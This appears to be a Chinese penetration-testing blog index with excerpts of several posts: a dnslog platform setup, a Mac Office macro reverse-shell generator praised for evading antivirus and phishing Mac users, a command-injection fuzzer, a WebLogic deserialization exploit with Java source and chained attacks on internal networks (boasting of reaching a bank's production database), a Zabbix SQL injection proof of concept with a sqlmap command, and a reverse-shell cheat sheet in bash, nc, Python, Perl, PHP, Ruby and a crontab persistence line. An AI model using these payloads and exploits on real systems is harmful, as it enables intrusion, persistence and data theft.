渗透工具

如何用一个域名搭建一套dnslog平台

如何用一个域名搭建一套dnslog平台
前几天在大土司上看到有大佬分享了一套dnslog平台代码,地址: https://github.com/LandGrey/dnstricker 该代码从最之前的BugScan的DNSLog二次开发而来,dnslog对于盲测有重要的意义。(听过CplusHua的盲攻击课程的人应该最能体会到)。下面记录的是我如何用一个域名+一台VPS完成一套dnslog平台的搭建。 1. 准备 买一了个域名coffeehb.cn 买了一台VPS Ubuntu 16.04x64 2.万网域名配置: 2.1 添加1个A记录指向我们的VPS 比如我这里: gitscan.coffeehb.cn 指向 47.52.234.114 2.2 添加2个NS记录指向,上一条的地址 比如我这里: dns.coffeehb.cn 和 dns1.coffeehb.cn 指向 gitscan.coffeehb.cn 3. 下载dnstricker代码使其跑起来 这里环境部署,依赖的模块,生成数据库操作等就不说了,GitHub的文档里有说明的。 直接说需要特别修改的配置地方。 3.1 修改dnstricker.py文件 修改dnstricker.py文件将126-128行的代码修改为实际的环境 比如我改成这样的: dns_domain = 'dns.coffeehb.cn' ip_address = '47.52.234.114' default_ip = '192.168.1.1' 3.2 修改/dnstricker/logeyes/dnslog/settings.py文件 需要修改的项和值如下: 做dns记录的域名 DNS_DOMAIN = 'dns.coffeehb.cn' 记录管理的域名 ADMIN_DOMAIN = 'dnslog.coffeehb.cn' NS域名 NS1DOMAIN = 'dns.coffeehb.cn' NS2DOMAIN = 'dns1.coffeehb.cn' 服务器外网地址 SERVERIP = '47.52.234.114' 允许的HOSTS ALLOWEDHOSTS = [".coffeehb.cn"] KEY SECRET_KEY=随便修改其中的某些位,随机的就OK 4. Nginx的配置文件 修改提供的nginx.conf文件中的server为实际环境,比如我的配置如下: 到这里所有的特殊配置就完成了,其他的那些Django的操作部分就自行解决吧。 特别注意一点,在添加前台用户的时候这个Udomain是个人唯一域名: 比如下面的测试账号: 5. 运行和测试 nohup python manage.py runserver 127.0.0.1:10101 & 登录测试账号测试DNSlog是否起作用 测试账号的Udomain为hack,所以所有的请求 *.hack.dns.coffeehb.cn的记录都会被记录下来,该用户可以通过登录控制台查看得到的。 测试命令: ping`whoami`.`hostname`.hack.dns.coffeehb.cn 测试截图如下: 6. 后话 基本完成了1个域名搭建一套自己的DNSLog的需求 nginx最好配置使用80端口,因为代码里很多跳转写死了. DNS记录和HTTP记录可以优化一下,根据IP去重不然记录的东西太多太杂了.... 继续阅读 »
渗透工具

【macphish】Office for Mac Macro Payload Generator

【macphish】Office for Mac Macro Payload Generator
Office for Mac Macro Payload Generator 一款用于Mac下Office利用宏生成反弹shell Payload的工具 GitHub开源地址: macphish 官方wiki: Usage 下面使用Mac + Office 2016 + msf的meterpreter进行测试, 根据wiki说明只能使用payload类型为python 的。 第一步:生成payload ./macphish.py -lh 127.0.0.1 -lp 65511 -p python/meterpreter/reverse_http -a meterpreter -m 第二步:制作word文件,插入宏代码 插入生成的payload文件: 第三步:打开msf监听 这里GET新技巧,可以把下面的代码保存为sh文件,配置到环境变量,比如我的Mac配置: 我这样配置以后,每次只需要打开终端,输入:startmsf 即可 最后:双击打开testme测试文档获得shell 这个工具还是很有用处,生成的payload过了大部分杀软,专门对Mac用户做钓鱼是极好的!!! 绝密:绝密文件... 继续阅读 »
渗透技巧

一个半自动化的命令注入Fuzz工具-OCIFT

一个半自动化的命令注入Fuzz工具-OCIFT
一个半自动化的命令注入Fuzz工具-OCIFT 1. OCIFT是什么 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT 2. OCIFT有什么用 这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。 3. OCIFT有什么特点 Payload基于Commix生成方式修改而来(需要持续完善). 基于浏览器代理的半自动化Fuzz. 多线程Fuzz速度快,不影响正常浏览器访问使用. 支持设置白名单限制Fuzz范围. 支持设置黑名单避免带来不必要的麻烦. 支持DNSLog辅助验证 4. OCIFT实现思路 基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。 文件结构说明 ➜ cifuzz git:(master) ✗ tree . |____run.py 主程序入口 |____dnslog.py DNSLog SDK |____fuzz.conf 配置文件 |____fuzz.py Fuzz线程 |____make_payload.py Payload生成器 |____readme.md 说明文档 5. 配置文件说明 配置各个参数,以逗号分隔 [initconfig] 黑名单HOST-为了避免带来不必要的麻烦 black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com 静态文件黑名单-这些不做Fuzz url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz. white_site =qunar 请求超时-限制每次Fuzz请求超时时间 timeout =10 我的DnsLog地址 my_cloudeye =ano1qu2j.xfkxfk.com 判断是够注入命令执行成功的关键字 checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP 用于测试命令注入的基本命令 base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256<nul Fuzz线程数 fuzz_count =20 fuzz的payload类型, 默认False-表示使用自定义的规则 commix_payload_type = False DnsLog登录会话ID,我用的xfkxfk牛的dnslog.xfkxfk.com dnslog_sessionid =q6wva2e3skg79vkdegra2bygft0d1 Your Domain custom_domain =a2fta2j 记录成功结果的Log文件 Logfile =rce_success_results.txt 6.如何使用 1.安装模块 pip install tornado pip install requests 2.根据自己需要完成文件fuzz.conf的配置 3.启用主程序 python run.py 8089 如下图: 4.设置浏览器代理 然后会自动开始Fuzz 7.总结 基本实现了想要的半自动化Fuzz功能 payload还需要不断优化 Github地址:OCIFT地址 欢迎大佬提出改进意见,多谢咯!!... 继续阅读 »
渗透技巧

利用scapy 造了一个Passive DNS Collector 工具—pdns_sniff

利用scapy 造了一个Passive DNS Collector 工具—pdns_sniff
利用scapy 造了一个Passive DNS Collector 工具——pdns_sniff pdns_sniff是什么? 简单理解为一个记录你发起过的DNS请求的东西,利用了Passive DNS 思路,被动的记录发起过的DNS请求。 pdns_sniff有什么用? 利用这样的工具可以帮助我在愉快的上网的同时,轻松搜集到测试目标的各种子域名。 pdns_sniff原理是什么? 利用了python里的强大的scapy套件,运用它抓取,解析出DNS请求包从而得到各种域名。使用了mysql进行数据存储,利用了gevent协程进行并发进行数据包的分析和写入数据库(PS:刚学gevent,拿来用用。) 效果图 效果图一:数据库中记录1 效果图二:数据库中记录2 效果图三:工具输出记录 效果图四:使用方法 需要安装的三方库 gevent scapy MySQLdb 需要修改的数据库配置 大概在第29行 conn = mysql.connect(user='root', passwd='yourpassword', host='127.0.0.1', db='dnslogsDB') pdns_sniff的相关代码 pdns_sniff代码... 继续阅读 »
渗透技巧

执行Shellcode的方法之Jscript.NET

执行Shellcode的方法之Jscript.NET
Execute ShellCode Via Jscript.NET Code: 点击查看Code 参考: https://codegists.com/code/python-execute-shellcode/... 继续阅读 »
渗透工具

Mac下玩耍 mitmproxy 笔记[持续补充~]

Mac下玩耍 mitmproxy 笔记[持续补充~]
Mac下玩耍 mitmproxy 笔记 1.0版本下载地址: 主要的3个文件: mitmdump mitmproxy——启动代理服务 mitmweb——web可视化界面的 如下图: 使用前的配置: 1. 配置环境变量 关于Mac下设置环境变量方法,可以参考这篇文章 配置方法 配置好环境变量后,简单验证如下: 打开终端,输入命令启动mitmproxy: mitmproxy -b 127.0.0.1 -p 8080 此时可以看到终端变成这样: 2. 配置HTTPS证书 和使用burp进行代理抓包一样,MITM也需要安装自己的证书以便抓取HTTPS的请求包。配置浏览器的代理为:127.0.0.1 端口:8080 然后打开URL地址: http://mitm.it/ 下载安装对应的操作系统证书,下面文字介绍的是如何在Mac上安装MITM证书: Apple: How to install on macOS / OSX Download PEM file (from above link) Double-click the PEM file The "Keychain Access" applications opens Find the new certificate "mitmproxy" in the list Double-click the "mitmproxy" entry A dialog window openes up Change "Secure Socket Layer (SSL)" to "Always Trust" Close the dialog window (and enter your password if prompted) Done! 对应翻译: 如何在macOS/OSX系统上安装证书: 下载PEM文件(从上面的链接) 双击PEM文件 打开“钥匙串访问应用程序 在《许可证》的mitmproxy”列表中 双击“mitmproxy”条目 弹出对话窗口openes 变化的安全套接字层(SSL)”到“永远的信任” 关闭该对话框窗口(如果你的密码和输入prompted) 这样做的! 配置后: 3. 测试MITM证书是否可用: 抓取京东登录站(https://passport.jd.com)的https请求 4. 学习MITM的命令: 启动命令: -b: 监听的地址 -p: 监听的端口 mitmproxy -b 0.0.0.0 -p 8080 查看抓包 上下选择[j/k]或者 方向键 上/下 直接回车便可以查看指标所选定的包或者鼠标点击那个位置 Tab键,切换:Request/Response 或者鼠标点击 当要查看的Response的数据很多时,输入“m”切换展现形式 mitmproxy修改抓包 在Enter进入指定的包后,输入“e”然后选择编辑的位置 拦截Request 输入字母“i”(代表Intercept filter)即可,此时界面便会让你输入想要拦截的条件: 这里的条件可以是字符串:admin 当出现被拦截的对象时,就会是标注颜色的: 如下: 然后是Enter进入选择的包,然后e 修改,最后q退到主页,然后a放行修改后的请求。 mitmproxy 拦截response 输入i,然后输入~s 就会拦截响应 拦截所有的request: ~q 拦截特定的header: ~h 拦截特定的domain: ~d 拦截特定的响应代码(404之类的): ~c... 继续阅读 »
渗透技巧

我是如何造Weblogic反序列化漏洞EXP的轮子

我是如何造Weblogic反序列化漏洞EXP的轮子
关键字: Weblogic、反序列化漏洞、EXP0x01. 简介从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:1、  目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。2、  目标以及目标所在内网环境均为Linux或Unix服务器。3、  通过各种手段,只能拿到反弹shell或者webshell 上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。0x02. 思路及实现改写的 Weblogic EXP同样满足4个功能需要,分别如下:1、  连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。2、  上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。3、  执行命令:输入命令,执行命令并回显。4、  断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。1. 连接目标连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:使用Socket利用方式的payload:1.     payload_socket_win_init2.     payload_socket_win_open_port3.     payload_socket_linux_init4.     payload_socket_linux_open_port 使用RMI利用方式的payload:1.     payload_rmi_win_init2.     payload_rmi_win_class3.     payload_rmi_linux_ini4.     payload_rmi_linux_class我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。定义socket方法如下:58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:HELO:10.3.5.0.falseAS:2048HL:19HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:72行是程序的执行入口73——74行获取我们输入目标IP或域名,获取目标端口我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。 测试windows目标:Weblogic10.3.5版本效果:    连接脚本目标目标之前:连接之后: 在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。2. 执行命令执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图: 二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)实现代码大概如下: public class JavaExp {          private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";     private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";       private static String Notices = ""             + "用法:\n"             + "1.一句话命令执行:\n"             + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"             + "2.文件上传\n"             + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";     private static RemoteObject remote;     public static void main(String[] args) throws NamingException {         if(args.length <3){             System.out.println("参数错误!!\n");             System.out.println(Notices);             System.exit(0);         }             String host = args[0];             String port = args[1];             String order =  args[2];             Hashtable<String, String> env = new Hashtable<String, String>();             env.put("java.naming.factory.initial",                     "weblogic.jndi.WLInitialContextFactory");             env.put("java.naming.provider.url", "t3://"                     +host+ ":" + port);             try {                 Context ctx = new InitialContext(env);                 remote = (RemoteObject) ctx                         .lookup("RemoteObject");             try {                 if("unbind".equals(order)){                     try {                         remote.unbind(remoteWindowsPath);                         remote.unbind(remoteLinuxPath);                         System.out.println("unbind_OK");                         return ;                     } catch (Exception e) {                     }                 }                 if("upload".equals(order)){                     if(args.length <5){                         System.out.println("参数错误!!\n");                         System.out.println(Notices);                         System.exit(0);                     }                     String localfilePath =  args[3];                     String remotefilePath = args[4];                                          UploadFile(localfilePath,remotefilePath);                 }else{                     String result = remote.exec(order);                     System.out.print("result:\n"+result);                    }             } catch (Exception e) {             }         } catch (Exception e) {             System.out.println("ConnectFailed");         }     }     public static void UploadFile(final String localfilePath,final String remotefilePath){         new Thread(new Runnable() {             @Override             public void run() {                 FileInputStream fileInputStream = null;                 try {                     File file = new File(localfilePath);                     fileInputStream = new FileInputStream(file);                     long total = file.length();                     byte[] data = new byte[100 * 1024];                     double sendedLen = 0;                     NumberFormat nf = NumberFormat.getPercentInstance();                     int len = fileInputStream.read(data);                         if (len != -1) {                             if (remote.upload(remotefilePath,                                     Arrays.copyOfRange(data, 0, len),                                     false)) {                                 sendedLen = sendedLen + len;                                 System.out.println("上传中...已完成"                                         + nf.format(sendedLen / total));                                 while ((len = fileInputStream                                         .read(data)) != -1) {                                     if (!remote.upload(remotefilePath,                                             Arrays.copyOfRange(data, 0,                                                     len), true)) {                                         System.out.println("上传失败!");                                         break;                                     }                                     sendedLen = sendedLen + len;                                     System.out.println("上传中...已完成"                                             + nf.format(sendedLen                                                     / total));                                 }                                 if (len == -1) {                                     System.out.println("上传成功!");                                 }                             } else {                                 System.out.println("上传失败!");                             }                         } else {                             System.out.println("上传失败!");                         }                 } catch (Exception e) {                     System.out.println("上传失败!");                 } finally {                     try {                         fileInputStream.close();                     } catch (IOException e1) {                     }                 }             }         }).start();     } }从代码的实现功能来看,那么执行命令的调用就是这样的:Java –jar xxxx.jar Ip port “command”3. 上传文件 使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下: 4. 断开连接使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下: 0x03. EXP使用手册usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]                            [-lfile LFILE] [-rfile RFILE] optional arguments: -h, --help       show this help message and exit——查看帮助   -target TARGET  the target ip or domain.——指定目标IP或域名   -port PORT      the target port.——指定目标端口   -cmd CMD      [init|command|bye|upload]—— 选择类型: Ø  init : exp会上传payload,尝试利用反序列化漏洞。 Ø  command: 执行一句话命令 Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。 Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。   -lfile LFILE      local file.——本地文件绝对路径。   -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。1. 连接目标用法:python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init效果:2.    执行一句话命令用法:python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"3.    上传文件使用py脚本用法:python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"或者使用辅助jar文件: 上传文件:或者:查看文件:或者:上传文件:查看文件:4.    断开目标用法:python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye    0x04. 总结写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。总结一下造的这个轮子的功能。1、  适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)2、  支持一句话命令执行。3、  支持文件上传 PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。0x05. 瞎想突然冒出的想法:“蚯蚓式”攻击:假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。A ——B——C——D——…….NA:是内网入口B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。那么我们就可以用这个轮子,一层一层的把他们串起来。1、  攻击者 VS 服务器Apython linux_weblogic_exp.py -target A_IP -port 7001 -cmd init上传攻击EXP轮子到A服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”2、  已沦陷的A服务器 VS B服务器python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init” 控制A上传攻击EXP轮子到B服务器上python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”3、  已沦陷的B服务器 VS C服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”让A服务器控制B服务器上传EXP轮子到C服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”4、……不断往下个”蚯蚓式攻击” 上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??... 继续阅读 »
渗透技巧

Zabbix SQL 注入漏洞[漏洞预警]

Zabbix SQL 注入漏洞[漏洞预警]
来源:网络    0x01.漏洞概述        zabbix 是一个开源的企业级性能监控解决方案。        官方网站:http://www.zabbix.com        zabbix 的 jsrpc 的 profileIdx2 参数存在 insert 方式的 SQL 注入漏洞,攻击者无需授        权登陆即可登陆 zabbix 管理系统,也可通过 script 等功能轻易直接获取 zabbix 服务        器的操作系统权限。    0x02.影响程度        攻击成本:低        危害程度:高        是否登陆:不需要        影响范围:2.0.5 2.0.13 2.2.x, 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3。(其他版本未经测试)    0x03.漏洞测试        在您的 zabbix 的地址后面加上如下 url:/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid =0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2 =2’3297&updateProfile=true&screenitemid=&period=3600&stim e=20170813040734&resourcetype=17&itemids%5B23297%5D=232 97&action=showlatest&filter=&filter_task=&mark_color=1        输出结果,出现如下内容表示漏洞存在:                            补充:        以上为仅为漏洞验证测试方式。        Sqlmap 验证:Sqlmap.py –u “http://xxxx//jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile =history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=tr ue&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&ite mids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color =1” --dbms=mysql -–level 3 --time-sec 10 --dbs --random-agent –p “profileIdx2”    0x04.修复方案:            尽快升级到最新版, 3.0.4 版本已经修补.            安全提示            监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企            业敞开了大门。            请大家务必重视,并尽快修补此漏洞。... 继续阅读 »
渗透技巧

一句话开启简单的Web服务器

一句话开启简单的Web服务器
    0x01. 背景                 在渗透测试时,有时候控制了目标服务器,可以执行系统命令。为了方便直观的浏览和从目标服务器上取得一些文件,这个时候可以尝试使用系统支持的python、php或ruby命令开启一个HTTP服务器或者FTP服务器或者其他的【PS: 我不知道的】,让我们的更进一步渗透更加方便一些。下面演示的是我知道的几种开启HTTP服务器或FTP服务器的方式。    0x02. Python 开启HTTP服务器              使用Python命令:     python -m SimpleHTTPServer YourPort              SimpleHTTPServer是一个Python的模块,需要服务器安装好这个模块。             效果:              这个可以命令会以当前目录为根目录,开启一个发HTTP服务器,可以遍历目录下载想要下载的文件。    0x03.PHP 开启HTTP服务器            使用PHP命令:      php -S 0.0.0.0:8088 -t /var/   #用法: php -S IP:端口  -t 服务器根路径          从PHP5.4.0开始,就内置了一个简单的web服务器了,详细见:                                                                     http://php.net/manual/en/features.commandline.webserver.php                   执行命令后,会开启php内置的web服务器,以-t后设置的参数为根目录。              效果:               浏览器访问,可见HTTP服务器已经开启成功了,但是这个服务器默认不能遍历目录,所以要下载取得目标上的文件,需要加上他的路径请求。                 看看当前目录下有什么文件:                    我们想要下载/var/www/wwwroot.zip文件到本地,那么浏览器请求:http://192.168.64.133:8088/www/wwwroot.zip     也会解析PHP,那么是不是可以写个shell,然后用菜刀连上去更方便呢? 无限的遐想。。。    0x04.Ruby 开启HTTP服务器                使用Ruby命令:      ruby -run -ehttpd . -p3000 #  ruby -run -ehttpd 路径 -p端口                 通过执行ruby命令,在以“路径”为HTTP根目录,-p指定的端口,开启一个简单的HTTP服务器。         效果:                            0x05.Python开启FTP服务器            使用Python命令:      python -m pyftpdlib -p 2121             同样需要目标上安装pyftplib模块支持         效果:     0x06.附上两个脚本            基于BaseHTTPServer的简单上传下载脚本:                        BaseHTTPServer             FTP脚本:                        SimpleFtpServer推荐:开启Web服务... 继续阅读 »
渗透技巧

反弹Shell技巧

反弹Shell技巧
Bash:bash -i >& /dev/tcp/x.x.x.x/2333 0>&1nc:nc -e /bin/sh x.x.x.x 2333bash+nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/ftelnet:mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipepython:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.18",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python:python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc=subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"定时任务: crontab(crontab -l;printf "*/5 * * * *  /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -Asp:<%system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");%>Rubyruby -rsocket -e'f=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Perlperl -e 'use Socket;$i="10.10.14.101";$p=65512;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHPphp -r '$sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");'小技巧:添加上bash头信息:bash头:python -c 'import pty;pty.spawn("/bin/sh")'orpython -c 'import pty;pty.spawn("/bin/bash")'SSH隧道:内网服务器:ssh -R 9998:localhost:22 root@202.112.12.31 输入你公网LinuxVPS的密码后,建立一个SSH隧道,会在202.112.12.31上面开一个端口,通向内网这个机器的。公网VPS:ssh localhost 9998演示图:python脚本版:原地址:http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/VPS接收端:import socket    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 10517)) -- 监听反弹回来的端口 s.listen(2) print "Listening on port 10517... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip   while True:  command = raw_input('~$ ')  encode = bytearray(command)  for i in range(len(encode)):    encode[i] ^=0x41  client.send(encode)  en_data=client.recv(2048)  decode = bytearray(en_data)  for i in range(len(decode)):    decode[i] ^=0x41  print decode   client.close() s.close()目标机器上:#!/usr/bin/python   import socket,subprocess,sys   RHOST = sys.argv[1] RPORT = 10517  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))   while True:      # recieve XOR encoded data from network socket      data = s.recv(1024)        # XOR the data again with a '\x41' to get back to normal data      en_data = bytearray(data)      for i in range(len(en_data)):        en_data[i] ^=0x41        # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable      comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)      STDOUT, STDERR = comm.communicate()        # Encode the output and send to RHOST      en_STDOUT = bytearray(STDOUT)      for i in range(len(en_STDOUT)):        en_STDOUT[i] ^=0x41      s.send(en_STDOUT) s.close()展示效果:... 继续阅读 »